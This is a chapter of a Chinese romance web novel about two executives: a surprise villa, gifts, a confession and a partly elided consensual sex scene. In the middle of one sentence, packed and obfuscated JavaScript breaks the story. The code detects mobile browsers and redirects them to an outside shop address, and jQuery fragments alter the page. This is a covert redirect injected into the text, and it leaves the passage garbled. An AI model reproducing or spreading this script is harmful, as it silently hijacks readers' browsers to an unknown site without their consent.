闷在心底的那些情绪突然被取代,傅珺瑶肩脊一松,毫无顾忌地靠在座椅,回答他的语气都轻轻抬起:“好啊,让我看看沈总的特别有多特别。” 傅珺瑶猜想,是那场平平无奇的庆功晚餐后藏着他准备的惊喜。 也许是送花?或者送贵重礼物?然后再跟她煽煽情? 谈恋爱差不多都这样的吧? 特别的地方? 天色不早,还特别的地方…… 傅珺瑶乱飞的思绪骤然慢下脚步,头撇向另一侧,微红的唇张开,又抿紧。 五星级酒店的……浪漫包房? 耳根悄然一热。 她突然回忆起前两天他离开的时候说的:再等两天…… 所以他预想的‘郑重的日子’是今天? 可她还没提前准备一下,这万一进展得不顺利,大家都不尽兴怎么办? “嘶。”傅珺瑶一不小心发出声。 “怎么了?”男人轻和略带担忧的声音响起,同时打断她飘逸的神绪。 傅珺瑶本能一抖,被抓了现行,脸颊也隐隐发热。 她猛地摇头:“没什么。” “可你这个表情,一般就是有什么。” “……” 暂默两秒,沈述白突然长吟了声,慢悠悠开口:“傅总是‘想’我了。” “……”傅珺瑶陡然挺直腰背,双眸直勾勾盯着前方,笃定的语气里略带一丝心虚:“哪有?” 心底暗诽:她真有这么明显? “没有也行,那我能‘想’傅总吗?” “……”傅珺瑶暗暗咬紧牙,双眼不可抑制地眯了眯,搁在腿上的手悄然收紧。 她清清嗓,勉强维持‘沉静’:“那得问你自己咯,我…又不能左右你的思想。” “如果我想呢?”他继续问。 傅珺瑶手捏得更紧,一股羞意上爬的同时还跟着股更强烈的兴奋和期待。 “那得看你诚意够不够。”说完,她的嘴角忍不住往上抽了抽。 他垂手,顺势扣紧她的左手,视线不移:“你知道的,我不是那种让你失望的人。” 傅珺瑶的手指本能翘了翘。 弦月半悬,清晖穿透朦胧的黑夜,落进车里,无声无息融进几分暧昧。 她嘁了声,抿唇,颊侧笑意不止。 脑海中自动开始锁定位置,窗外的景色却越来越偏僻。 “这是去哪?”傅珺瑶凑近窗边,心底的那点笃定消散,困惑重新爬满。 郊外? “马上到了。”沈述白转了方向盘,车子慢慢减速。 一扇灰黑色铁门入眼,沈述白松开她的手,掏出手机,好像点进了什么系统,很快,铁门自动朝内打开。 傅珺瑶猛然一怔,脖颈僵硬地转过去看着他。 话还没问出口,车子已经停稳。 傅珺瑶愣愣凝着窗外,瞳仁一缩。 幽长的小道两边绿植成荫,暖黄色的排灯打在眼前的庞大建筑上,衬出大致轮廓。 灰色的外砖层层上铺,越过二楼三楼的阳台,汇至屋顶,以黑色外砖收尖。 “独栋别墅?!” 傅珺瑶的语气实在忍不住上抬,音量也抬高几分。 沈述白嗯了声,下车,过来给她开门。 “这才多久,都装修好了?!” 傅珺瑶被他牵着,完全想不通,且不说他们真正在一起才多久,距离洱南回来时间也没有很长,这别墅这么好买?而且他怎么一点动静都没有? 他解释:“这别墅是我18岁那年奶奶和爷爷送的成年礼,大学的时候装修好的,不过我大部分时间都在家里住,这里就一直搁置了。” 大门安的是高级防盗加固密码锁,男人三两下输完,带着她进门。 别墅里的灯是开着的,一进门,面前的一大捧红玫瑰率先阻断傅珺瑶往前的脚步。 她缓缓转眸,还没来得及对上男人的视线,那捧花被他抱起来,送到她手边。 玫瑰的清香等不及往鼻腔里钻,傅珺瑶连眨了几下眸,两只手后知后觉前伸。 男人的语气瞬间正经,“珺珺,先恭喜你,终于得到了你想得到的东西,虽然未来的路仍然不是坦途,但我相信你,也愿意支持你。” 傅珺瑶捏紧花束,目光聚焦在那双褐眸。 照过来的灯有些晃眼,傅珺瑶突然恍惚一瞬。 好像回到了那个时候。 “只要你愿意,我永远都是你的后盾,你想要什么,只管大胆去做,我一定会给足你安全感。” 她的唇往内收了收,舌尖轻舔唇边。 心底慢悠悠低笑,原来他是打算表白。 短暂的停顿之后,他的话语继续:“然后,我也想借今天,好好回答你上次问我的那个问题。” 问题? 傅珺瑶愣了两秒,陡然忆起,是那天她问他喜欢她什么,对她是不是见色起意。 “先带你看几样东西,然后我慢慢说给你听,好不好?” 男人那只大手停在她身侧,傅珺瑶朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364032|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他弯了弯唇,把玫瑰放在玄关的置物柜,五指嵌入他的指缝,和他十指相交。 “准备很足啊。”她轻侃。 沈述白不答,牵着她,直奔后院。 玻璃门滑开的那刻,院子里的遥控灯尽数亮起,像是在黑夜中潜藏已久的萤火虫。 最先钻进视野的,是大概六七米开外,那两棵稳稳立在大盆栽里的树,树干上好像挂着牌子,傅珺瑶看不太清,但已经能猜到。 左边的叫江云,右边的叫江阔。 只顷刻,傅珺瑶便没了去欣赏这后院其他光景的心思,注意力只集中在两棵树上。 她稍稍讶然地望向旁侧的男人,闯入眸底的那片琥珀海瞬间将她包裹。 “当初在洱南,我答应过你的,等以后回了城,要在院子里种两棵树,左边的叫江云,右边的叫江阔。” “江云和江阔是我们的开始,能做江阔,也是我从来都没想过、也从来都没预料到的事。当初醒来之后,看到还在昏迷的你,我不否认,我的确觉得你很漂亮,但更多的,是一种悬浮的感觉,就好像大梦初醒之后,找到了那个一直存在于梦里的人。” 傅珺瑶眸光微闪,暂时没说话,另一只手也牵上去。 “那个时候,虽然我什么都不记得,但我的潜意识就好像在告诉我,一定要相信自己的感觉,毕竟身体是不会骗人的。” 傅珺瑶嘴唇浅勾,他还是跟当初一样,一样纯真。 “所以当时萍姐说我们是夫妻,加上我们的竹音哨,我确实很快相信自己和你的关系,我也知道我对你有好感,当时我想,我虽然忘掉了以前对你的爱,但是至少我还和你在一起,只要多接触,我肯定能回想起来。” “因为不记得,所以我时常幻想,幻想我们的过去,幻想自己可能会怎么去爱你,想要让那些悬浮的感觉落地。不过和你一天天相处下来,我就发现那些感觉已经开始落地。你很喜欢吃我做的饭,我也在每次看你吃的尽兴时跟着开心。你背后伤的很重,每次给你上药的时候,我心里也会不好受。你第一次亲我,我感觉好像整个世界都亮了。你第一次吻我,我想,我和你的关系再也没有异议了。” 傅珺瑶认真听着,有些想笑,可隐隐的,鼻尖又有点酸。 觉得他好傻。 靠着感觉把自己搭进去,万一真抽不了身,也太傻了。 “我真正觉得对你的感情完全落地,是你昏迷的那个晚上。”他的眸子突然凛光,渐渐的,好像蒙了层水雾。 傅珺瑶心口一颤。 他继续:“那个时候,我看着你浑身难受,东西吃不进,水也喝不了,又吐又烧,我真的很慌、很害怕,害怕你出事,害怕你的病情加重,害怕你醒不来,也害怕你醒来之后什么都吃不了、什么都做不了。” 他的语速有些快,一贯温润的嗓音也慢慢抖了起来,眼底的水雾渐浓。 隔着不到半米的距离,傅珺瑶被那水雾呛得鼻腔愈发酸涩。 “我也忘了那天晚上自己干了什么,只记得房间里的海咸味很浓、很潮,我每碰你一下,心脏就难受得紧,那个时候我想,只要你能醒来,只要你能健健康康,让我干什么都行。也是那会,我再也没有怀疑,我相信自己爱你,我也相信我们是夫妻,甚至想,我这辈子都不要跟你分开。” 话音落下的那刻,他眸中的水雾汇聚,湿润往下一沉,不偏不倚落至她虎口,烫得她狠狠一抖。 他的身影也在眼前慢慢模糊。 他还在继续,声音里已经带上哽咽:“知道我们真正的关系之后,我确实非常接受不了,我想了很多解决办法,但就是不想跟你分开。回城之后,我哥也劝过我很多次,甚至说,我只是因为失忆才会爱上你,可就算知道你真实的样子,就算知道你是傅珺瑶,你也还是在我心里,我也还是只有那一个念头,我想和你在一起。” 他的身影在眼前模糊到极致,然后在某个瞬间,猝然清晰。 院子里的晚风一吹,傅珺瑶脸上又凉又烫。 她吸了吸鼻子,从他手里抽离,直接踮脚,对准他的唇,毫不犹豫地吻上去。 双臂勾紧他的脖颈,她直接张唇探入,疯狂攫取他的气息。 他真的好烦。 说这么一大堆肉麻的话,弄得她这样难受,害得她掉眼泪。 可他又真的让她好喜欢。 以前从爷爷那里听来的所谓的“沈家就是群小人”、“完全不顾情谊只为了算计”根本不是他。 他不是什么薄情寡义的小人,他会给她做很多事、能理解她的心思、会给她台阶、能完全懂她。 黏腻的气息纠缠,直至傅珺瑶快呼吸不过来,她终于退开,转而靠进他怀里:“你好烦,肉麻死你算了!” “我们去楼上看看?”男人一手环着她的腰,一手转至她眼角,捻干她的泪水。 傅珺瑶听明白,主动从他怀里退出,跟着他上楼。 沈述白带着她走到二楼的一间房门口,朝她抬抬下巴:“你来打开?” 傅珺瑶看他眼,毫不犹豫开了门,两条腿还没动静,双眸便先被内里的布置吸引。 “你什么时候买的?这些居然有货吗?”傅珺瑶迫不及待往里走,两侧的长柜从头延伸至尾,透过玻璃柜门,里头分区摆放好了女装男装,从内衬到外衫,再到长裤、短裤,以及大衣、外套,甚至还有样式繁多的长裙、短裙。 傅珺瑶认出来,有些是三巨头的高定款。 “前段时间,我找奶奶帮了下忙,弄到也不算麻烦。” 长柜尽头,是横向的鞋柜和包柜。 鞋柜里头的女鞋男鞋也跟衣服一样,交替穿梭在一起,就好像谁也离不开谁。 被叠满的包柜是傅珺瑶完全没想到的。 一柜子的爱马仕,有几款是她已经有的,有几款她都没买到。 除此之外,正中间立着饰品柜。 玻璃隔窗内,数十支腕表安分躺在里头,基本上全是情侣表,还有几支放在摇表器里,是跟他手上戴的那块同品牌的情侣表。 再往下,是耳饰和颈饰,耳饰女款男款都有,颈饰只有女款。 最后是腰带和皮带,一样交替摆放。 傅珺瑶看得眼花缭乱,不自觉咽咽口水,逐渐混沌的大脑尚且停着最后一丝理智。 她清了清嗓,脸上没有太大的波澜起伏,“沈少爷这是想邀请我同居?” 她整个看下来,这些衣服、鞋子、包包、首饰的摆放全是他故意的,除了他用不到的,几乎全都在彰显她和他之间的情侣甚至是夫妻身份。 “不。”沈述白否认。 傅珺瑶微愣。 “我是想兑现自己当初在洱南说过的话。”他解释:“以及…我也想告诉你,不管什么时候,这里都是你的家,你什么时候想来了,就可以没有任何顾虑地来。” 傅珺瑶才被眼前这片‘繁华’激起来的兴奋蓦然消了下去,转而被那股好不容易压下去的酸取代。 眼眶隐隐发热。 “珺珺,还有其他的,我们接着看完,好不好?” 他又伸手。 傅珺瑶被他带进主卧。 房间整体是棕白色的装修风格,灰色的木地板上铺了几块白色地毯,棕色的窗帘半掩,遮住了大半IMAX落地窗外的景光。窗边立了张黑色小圆桌,旁侧两台浅灰色沙发。 当然,这些都不重要。重要的是,这个房间里几乎每一个角落,都摆着他们俩的照片。 床头柜、小圆桌、床尾柜…… 粗略扫过去,大概有数十个摆台,全都是他们在洱南拍的那些照片。 甚至在右侧的床头柜上,还放着她熟悉的尤克里里,旁边放着他的两个竹音哨,还有装着海水沙砾的玻璃瓶。 再转眸,靠进浴室的透明衣柜里挂着他们当初落海的两套西装和伴娘伴郎服。 傅珺瑶紧紧抿着唇,视线来回反复在这些东西上扫过,排风口吹出来的凉气半点不起作用,她眸底的热意越来越重。 这间卧室里,除了没有那面落地的‘婚纱墙’,其余的布置几乎和她梦里一模一样。 眸珠轻转,卧室里的凉意沁入,却瞬间被滚烫包裹。 心脏像是被人往下拉,很沉、很酸,但又很快被往上推着,酸沉自然而然化成她最迷恋的安全感,以及…越来越深刻的契合感。 哪怕她什么都不说,他也总是能把她最喜欢、最需要的东西摆在她面前。 曾经她也泄气过,觉得自己对伴侣的要求太高,很难找到自己真正满意的。 可事实证明,就算她高要求,也能有能满足她的人,她根本不需要委屈求全。 而真正爱她、也值得她爱的人,从来不会让她觉得委屈。 眼皮上抬,她终于对上那双一直停在她身上的深褐色眼瞳。 漆黑的瞳仁骤缩,她心口狠狠一抖。 从来、他从来都是这样。 视线只会停在她身上。 眸中挂着的泪珠有了下坠的趋势,她扬臂,低头,把自己埋进他胸口。 胳膊牢牢环住他宽阔紧实的背脊,声音贴着他的心脏:“你真的好烦,我今天明明打了胜仗,你还让我哭两次。” 男人宽大的手掌托着她的后颈,指腹沿着她耳廓几次转磨,很轻的声哼笑从头顶传来,微震的胸口顶得她脸皮发麻。 他压着声,语气明显讨好:“那再让你开心开心,弥补一下好不好?” 傅珺瑶从他怀里探头:“什么?” 他没说,把床尾椅上一个四四方方的盒子递给她。 “这么重?”傅珺瑶在手里抻了抻,很有分量。 “打开看看。” 傅珺瑶没犹豫,盖子一翻开,一排金澄澄的黄金被头顶的暖光一照,隐隐刺眼。 傅珺瑶低呼了声:“送车送金条也太俗气了。” 脸上却无半分嫌弃。 她捏起厚实的金条上方摆着的车钥匙,简单低调的黑色控盘包裹着层灰色的外边,最上方的logo很好认。 阿斯顿马丁。 “什么型号?”她又问。 “DBS770Ultimate彩虹祖母绿,线条和颜色是很典型的‘英式优雅’,不过声浪挺炸的,觉得很适合你。” 看似优雅体面的外表下藏着颗自由有野性的心。 傅珺瑶眯了眯眼,轻嗤一声,又默默数了数金条。 一共十二根,克重一根一千克。 可以,又是一笔财富积累。 傅珺瑶这样想。 沈述白解释:“是我听说你以前工资都拿来买车买黄金,而且你家人基本每人都送了你一辆车,我想我能给你最特殊的东西就是别墅里的这些布置,但只有这些又好像不太够,谈恋爱总不能真的只有情绪价值?” “听说?” “问了顾清漪。” 傅珺瑶嘁了声:“你还挺会找捷径。” “那你喜欢吗?” 傅珺瑶努努嘴:“还行吧。” “就只是还行?那怎么才能更行一点?” “更行一点……”傅珺瑶重复他的话,双眸朝向他,本能的上下打量。 男人顺着她的目光看,蓦然点头,拉着她起身。 “行,洗澡去。” “等下,你……” 83. [锁] [此章节已锁] 傅珺瑶还没来得及从情绪里抽身,人就被他拉到浴室门口。 她嘴上拒绝,身体倒是诚实得很。脚上的拖鞋被她甩在浴室外边,被抓着的手又送到沈述白腰间去。 “等会,你…东西有准备好吧?”她问。 沈述白没答,突然往后退了两步,松开她。 “……?” 傅珺瑶不解看过去。 “浴袍在这挂着呢,沐浴用品里头都有,一应俱全。”他脸上浮起抹笑,像是没听懂她的话。 “……” 男人的语气更‘贴心’:“好好洗个澡,我去泡点陈皮水,你刚刚哭过,嗓子肯定不舒服。” “……” 这个时候谁要在乎嗓子舒不舒服?! “你不是要证明自己更行吗?就这样?”她没好气问。 沈述白长舒口气,肩膀倚在门框,褐眸半垂,嘴边扬起抹不怀好意的笑:“那看来是我会错意了,我本来是想让傅总舒舒服服洗个澡,再润润嗓,好安安稳稳休息的。嘶,那我可能得好好请教傅总,傅总觉得怎样是更行?” “……” 傅珺瑶知道自己又上套了。 牙关逐渐咬紧,她不由分说上手,在他腹肌那块狠狠掐了一下。 “让我告诉你答案就直接pass了。行,既然沈总会不对意,那就出去泡陈皮水吧,让开。” 傅珺瑶毫不犹豫赶人。 沈述白瞬间正形,笑眼弯弯,直接钻进门缝,结实有力的胳膊顺势从背后环住她的腰。 下巴前倾,点在她肩口,语气软下来,讨好的意味明显:“是我刚刚犯了下蠢,脑子没转过弯,不要跟我计较,嗯?不要pass我,pick我,好不好?” 微热的气息一瞬不停地往傅珺瑶耳道里灌,刮得她又痒又麻,忍不住后缩脖颈。 “谁要pick你。”傅珺瑶斜眸睨他眼,再转视线,迎面对上镜子里自己添了几分笑意的脸。 “当然是敢做又敢当的傅总,我女朋友pick,嗯?” 话音落下时,他的吻轻轻落在她耳垂。 他高挺的鼻梁轻抵在她颊侧,手掌按在她的小腹。 “珺珺。”他轻唤。 后面三个字出口的那瞬,傅珺瑶身子狠狠一僵,神情有几秒钟的凝滞。心脏像被用力捏了一下,转瞬,血液匆匆向四面八方奔逃,手脚激起阵酥麻。 她勾着他的手臂转身,铺天盖地的吻在同一时间侵袭。 温热的水柱下,雾气逐渐弥漫攀升,模糊了浴室里的镜子,也模糊了透明的隔离门。 傅珺瑶半睁着眼,一边和他接吻,一边帮他抹开沐浴乳。 滑溜的触感在交缠的肢体辗转。 傅珺瑶想要他。 很想很想。 “快点冲干净。”她催促。 男人也不拖拉,带着她三两下冲走身上的泡沫,扯了浴袍抱着她回房间。 沈述白打开吹风机送到她手上,“先吹头发,我去泡个陈皮水。” 傅珺瑶的视线在他修长的脖颈上扫过,淡淡“哦”了声。 耳边的热风呼呼吹着,傅珺瑶动作很急,因为那三个字浮在心口的躁动感还没消散,吞咽的动作加快,头发扒得乱七八糟的,两颗漆黑的眸珠时不时瞥向门口,最后索性定格在那里。 最后一丝湿润被热风带走,偌大的卧室瞬间安静,只听得见浴室里偶然下坠的水声。 “滴答” 好像落在了她心口,扯得神经持续兴奋。 沈述白终于端着玻璃杯进来。 “先喝了,不烫。” 傅珺瑶没接,就着他的手,仰头,灌下满喉温热。 视线却没离开他。 “这么看着我,我会迫不及待想把蜜饯讨回来的。” 那双褐眸穿过弥漫着层浅雾的空气,直勾勾地、带着欲念地、甚至勾着几分侵略性地望着她,好似蛰伏已久、只待进攻的豹子。 傅珺瑶重重地咽了下嗓。 视线不移,身体里隐隐的,冒出些冲动。 她是不喜欢工作环境里的那种侵略性的,那些本不该突破的边界会让她本能反感。 但换在亲密关系里,她甚至有点兴奋。 更甚于,激起了她血液里自带的侵略性。 …… …… …… …… …… …… …… 她抽走他手里的水杯。 …… …… …… …… …… …… …… 男人轻“嘶”了声,手掌稳稳托着她的腰背。 …… …… 傅珺瑶充耳不闻,再往上,吻落在他的喉结,身体前倾。 窗帘轻轻摇动。 用最直白的接触勾动自己的中枢反应,也激起他的。 “再说一次。” 渐乱的呼吸声充斥在耳边,傅珺瑶挪到他耳侧,急切地说了这么一句。 男人短暂怔忪。 倒映在墙壁的人影重叠。 他的薄唇吻在她的耳垂,也学着她的模样,轻轻咬了口,气声压低,缓慢重复。 那几个字再度敲进耳膜,像是引线已经点燃的爆竹,沉入湖底,在最中心引动漩涡。 傅珺瑶侧身,胳膊按在他的肩口,狠狠一推,沈述白往后一仰,后颈稳稳落在枕头上。 …… …… 不够。 她觉得不够。 “再说一次。” 她还要听。 听他说: “珺珺。” “我爱你。” …… …… …… 他盯着她看了两秒。 …… …… …… …… …… …… …… “$&%^*+” 傅珺瑶身上已经沁了层汗出来。 …… …… …… …… …… %$& …… …… …… …… …… …… …… …… 她喜欢。 …… …… …… …… “我准备好了,你呢,你准备好了吗?” “选选用哪个?” 沈述白不顾手上停留的莹润,拉开床头柜的抽屉,露出里头满满当当、整整齐齐摆列的盒子。 “你买这么多?!”傅珺瑶不住瞪眸。 这用一年都用不完吧?! 沈述白却满脸平淡:“我做了很多攻略,反正每一种都有说不好的,我就选了口碑最好的那两个牌子,然后在里头挑了些整体评价比较好的款。” 他又看过来:“实践才能出真知,咱们慢慢试,试一个最舒服、最好用的出来,以后就顶着那款买。” “……这真的能用完吗?” “用得完,光是那237个蜜饯,就能用掉一大半。” “……” “今天用哪个?” 傅珺瑶粗略看了眼,注意到‘001’那几个数字,指向红色那盒。 沈述白的动作也很快。 抽出一个递给她:“帮我拆开,我手上还滑着。” “……闷骚怪!”傅珺瑶脸颊一烫,抢过他手里的东西。 顺利撕开后,她把开口对着男人。 “你帮我戴。” “……我没戴过啊。” “凸出来的是外面,和穿衣服差不多。傅总不是MBA?学习能力应该不差吧。”男人挑了挑眉,往前坐了点。 “……” 他又套用她的招数!! 傅珺瑶也是头一回用手碰他。 很不熟练,像抓着块烫手山芋,心跳越来越快,脸颊涨红。 “这样…算戴好了吗?” 她盯着那,才润过的嗓子又干涩起来。 内里的空虚感随之攀升。 这个……应该会让她满意吧。 挺……的。 还没‘观赏’多久,整个人突然被往后一放。 他们重新倒回床褥。 所有的感官刺激都不再柔和,力道很重,重到足以让傅珺瑶的注意力完全集中,重到傅珺瑶想立刻拥有他。 “我可以了。” “述述。” 傅珺瑶胳膊压着他后颈,嘴唇侧至他耳边。 “不舒服说出来,不要忍。”他最后确认。 傅珺瑶点了点头。 灵魂重叠的那一刻,傅珺瑶才知道,这事为什么让人沉迷。 精神的契合或许能填补内心,但身体的契合更能反哺精神的契合。 只是这个过程…有些不那么唯美。 房间里的温度急剧攀升,凉气不再管用,像是有人在这烤火,烧得火红的炭块烫得她直哆嗦,眉心也跟着缩紧。 …… …… …… 男人继续。 耳边他的心跳声越来越重,傅珺瑶喉嗓间的声音跟着压不住。 …… …… 傅珺瑶微蹙着眉,把嘴里的声音吐完。 …… …… …… …… 那炭块更烫,可热意攀升的同时,那种她不曾体验过的感觉也紧随而至。 …… …… 傅珺瑶好不容易压下紊乱的气息,说出这句话。 近在眼前的喉结滚了滚,声音跟着落到耳边。 傅珺瑶把人抱得更紧,唇角上扬。 …… …… “你确定?能受得住吗?” 傅珺瑶没回答,压低声音,把暧昧的气息全都洒在他耳边:“我爱你,述述。” 男人再没了任何保留,竭尽可能,把她想要的尽数给她。 “这样可能会疼。” 沈述白说这话时,她坐在他腿上。 “还好,我想看看这个视角的你。” 她到后面完全适应,新鲜感半分未褪,把想尝试的试了个遍。 沈述白也跟着她一起,主动权在两人手里频繁切换。 到最后,傅珺瑶嗓子都快哑了。 幸好提前喝了点水。 “还要…来吗?” 傅珺瑶看他继续拆,忍不住发问。 她瞟了眼床头柜立着的电子钟,差不多过去两个小时。 男人勾唇:“上次不是说好,要向你好好证明一下,我是个身体健康、体魄强健的正常男人吗。” “……” …… …… …… …… 傅珺瑶问:“$&#%” …… …… 沈述白慢慢解释:“加密对话。” 傅珺瑶“嘁”了声。 …… …… …… …… 经历了人生头一回刺激又疯狂的夜晚,傅珺瑶累的一觉睡到中午。 醒来时,身边已经空空荡荡,只残留着微弱的温度。 外头的阳光穿透窗帘,照亮大半个卧室。 房间里散落的衣物早已收拾得干干净净,床头柜上的玻璃杯也不见踪迹,只有安分立在那的竹音哨和玻璃瓶。 傅珺瑶稍微侧身,没打算起来,抄起那两根竹音哨。 浅青色的暖玉握在手里,很快沾上了掌心的温度。她敛眸,盯着尾端的刻字,唇角的弧度渐渐加深。 脑海中的记忆自动被唤醒,耳边似乎又翻起熟悉的海浪声,鼻尖像飘着若有似无的海咸味。 “云云,今天有百香果酸汤牛肉。” “云云,我们去海滩走走,带了你喜欢的鲜花饼。” “云云,今天该换药了,中午还有很新鲜的海鲈鱼。” “看入迷了吗,要亲一下吗?” “我不是奸商,我是你老公,不管是现在还是未来,都只是你老公,而且只给你亲。” “你也说一句。说你是我老婆。” 傅珺瑶脸色慢慢收凛。 不管是现在还是未来,都是她老公…… 老婆、老公…… “我是你的丈夫,你是我的妻子。” 这是当初醒来时,他说的话。 手里的竹音哨捏紧,从眼前绕开,被阳光照亮的暖白色天花板占据整个眼球。 说起来,他昨天有试探她。 结婚…… 傅珺瑶不顾身上的酸软,坐起身,把竹音哨放回原位,视线在房间打转。 这里是他精心布置过的。 布置得像他们的家,布置得你中有我、我中有你,几乎每一处都有他们的痕迹,好像他们已经是恩爱多年的夫妻,好像今生今世他们都会如此,永远都不分开。 眸光最后定格在床头柜的相框摆台。 里头的照片是她很喜欢的那张。 金蓝交汇的海浪前,他们穿着配套的伴娘伴郎民族服装,他从身后搂紧她的腰,她仰头,他垂眸,目光缠绵。 像她梦里那张铺满整面墙的婚纱照。 很轻的声浅笑不紧不慢从唇边泄出,只是没几秒,笑意便从脸上溜走,不见踪影。 傅珺瑶维持着姿势不动,只有抓着被角的手,缓缓捏紧、再捏紧。 “咔嗒”一声,卧室门从外面推开。 沈述白端着杯热水,面色短暂怔愣,温声问:“醒了?是哪里不舒服吗?” 傅珺瑶轻轻一激灵,对上去的视线本能躲闪两下,接过他的水,摇头:“没有,就发了会呆。” “饭做好了,先起来洗漱?” 热水酣酣畅畅下肚,暂时推走了停滞在脑海的思绪。 “好。” 沈述白拿回水杯,深深看了她眼,“我去给你拿衣服。” - 吃过午饭,傅珺瑶在一楼客厅的沙发上靠着休息。 这会阳光晴好,毫不吝啬地从玻璃窗透进来,照亮整个一楼。 她盯着后院的那两棵树,思绪又回到刚才在房间里想的那些事上。 其实她很开心、也很感动。 因为沈述白真的把这些事落到实处了,他并不是说说而已。 就像他自己当初说的那样,他做到了一个合格甚至可以说是优秀的情人该做到的那样。 哪怕作为丈夫,也是完全妥帖。 可……如果真的要考虑走进婚姻,她还是有些迟疑。 和当初在洱南不同,那个时候‘婚姻’是半真半假的做为既定事实摆在他们之间。 然而现在呢,现在是他们决定要不要步入婚姻。 所谓婚姻,不过是关系和权力的绑定,加之爱的名义,需要双方履行义务和承担责任。 关系和权力的绑定在她看来不是坏事,傅沈联姻,那错位的二十多年发展就能慢慢弥补回来,恒璟的价值也能再往上翻。 灌注爱的名义,她也不反感,她爱他,愿意和他在一起,这也没问题。 可婚姻里的那些义务和责任,对于她来说,会不会又是另一种束缚之下的牺牲呢? 当初她为了爷爷、为了傅家,慢慢给自己灌注能够付出、牺牲的观念,最后被规则牢牢束缚、压抑,如果不是她和沈述白之间的契机,她选择主动失忆,她或许现在还在被束缚,仍然没法拥有想要的自由。 那未来她如果对婚姻里的束缚不满意了呢?是再次妥协,还是主动离婚,又或者再次失忆? 思绪越触越深,傅珺瑶眼前的景物在眸中的存在感近乎于无。她的眉头深深蹙起,左手捏在下颌处,指尖时不时轻掐一下皮肉,隐隐痛感刺入。 脑海中慢慢缠绕起来的绳结逐渐乱了形。 以至于她连靠近的脚步声都没注意到。 那股熟悉的温热按在眉心时,她肩口狠狠一颤,黑眸紧缩,稍显慌乱地对上褐眸。 “在想什么?”男人眉眼温和如旧,经由金澄的光线一照,浑像两颗盈润的琥珀,干净透亮,仿佛能穿透一切。 傅珺瑶猛地坐直,浑身肌肉绷紧,凛目悄然躲闪,脖颈略显生硬地晃了晃:“没什么,突然想到一个比较麻烦的项目。” 沈述白指腹滑到她眉尾,最后绕至她耳后。 他胸廓抬了抬,鼻腔发出声低笑:“原来精明如傅总,也会因为一个麻烦的项目这样纠结心乱吗?” 傅珺瑶姿势僵持,只有两颗眸珠利索晃向他。 左手扣着他的手背往下挪,右手覆上去,将他的手掌完全包裹。 “是啊,毕竟这个项目…看似诱人,底下却藏着难以预测的风险,这个项目落到我手里,是真的能给我带来实打实的利益,还是需要我付出巨大的代价、做出牺牲呢。” 她的语速不快,语气有些沉,视线一瞬不瞬和他交汇。 沈述白神色始终未变,眸底的温润不掺一丝杂质。 他唇角微勾,像是真的帮她分析问题那般:“这样的话,确实是需要慎重考虑,纠结或许在所难免,不过没准也不用把结果想的那么坏,一个项目就算再麻烦,只要成立关系的双方愿意好好谋划,利一定是能大于弊的。” 傅珺瑶的眼睑往上顶了顶。 挺直的背脊突然弯了下去,松开他的手往后一仰,语气变得松散:“不聊工作了。我腰有点酸,我们要不出去按摩吧?” “不用出去,我给你按,三楼有按摩室。” 傅珺瑶稍微诧异:“这么齐全?你还会按摩?” “我家家是中医,我浅学了点,虽然不比她专业,但效果也她亲自认证过的。” 解释完,他又靠近她些,带着他那颗黑色耳钉一起在眼前放大,语气拖上傅珺瑶再熟悉不过的不正经:“而且你是因为我才腰酸的,那肯定得我亲自来‘赎罪’了。” 傅珺瑶撇撇嘴,耳根一热,两只手做做场面推搡他:“闷骚怪。” 沈述白手往前一勾,干脆把人抱起来,坦坦然然道:“行,闷骚怪带你上楼按摩去。” - 两人在独栋别墅待了两天,周六晚上沈述白还专门回了趟沈宅把白白接过来了。 傅珺瑶好久没见白白,肉团子也没忘了她,一进门就往人怀里扑。 “它长大了好多呀。”傅珺瑶揉着它的黑色小胎记。 “是,前不久带它去打疫苗,医生说它很健康,体重身形都达标。” “那就好。” 傅珺瑶抱着肉团子玩了会,又突然想到件事,胳膊肘顶了顶沈述白:“没想到我当初取的名还挺巧,你也叫白白。” 沈述白顺势滑进她肩窝:“这说明咱俩有缘,命中注定的。” 傅珺瑶“嘁”了声:“油嘴滑舌。” 闷骚怪又开始发力:“嘴倒是不油,不过滑舌么…咱们晚上可以再试试。” 傅珺瑶捂住白白的耳朵,“烦人得你!” “哎——”他长叹,使出最熟悉那招:“昨天晚上抱着我的时候还喜欢的不得了,现在就烦了。好,我明白,得到了是没那么珍惜的,我懂,我都懂。” “……” 傅珺瑶拧他腹肌:“我哪不珍惜了,你明明知道烦人不是这个意思。” 男人猛然坐直,眸中一亮:“行,既然喜欢,今晚就让你再喜欢一点。” 话毕,白白被他放回小窝。转眼,傅珺瑶人已经在他怀里。 “……闷骚怪!” - 和沈述白在别墅过了最刺激的两天之后,傅珺瑶的工作又开始忙起来。 除了项目和日常工作,她还得时不时盯着周锦,偶尔周董下来,更得想招数应对。 工作之外,应酬也少不了,又是官员又是老总,酒桌文化不可避免。 一连个把月,傅珺瑶跟连轴转的机器似的。 后面事情谈定,她也终于得空慢下来。 周五晚上,她约了顾清漪出来吃饭。顾清漪出差米兰大半个月,两人很久没见了。 “黑眼圈这么重,看来傅总最近工作很忙啊。”顾清漪晚到了点,脱了薄外套。 傅珺瑶手里正划拉电子菜单,视线投过去看她眼:“别提了,睡眠不足还喝了不少酒,感觉自己都得好好养生了。” 顾清漪笑笑,抽出包里的礼盒送到她跟前:“Venchi巧克力,你想要的口味我都买了。” 傅珺瑶手里动作停下,往她身侧靠,菜单送到她手里:“够意思。” 点完菜两人闲聊了会儿,顾清漪突然接到许远舟的电话。 新婚夫妻大半个月没见,自然是想念的慌。 “我跟珺珺吃饭呢,等会提前给你打电话。” 顾清漪迫不及待撂了电话。 “这么多年了,许医生还是很粘人啊。”傅珺瑶侃道。 “他就那样,幸好我隔几个月就得出差,他工作也忙,太粘人我真受不了。”顾清漪连连摇头。 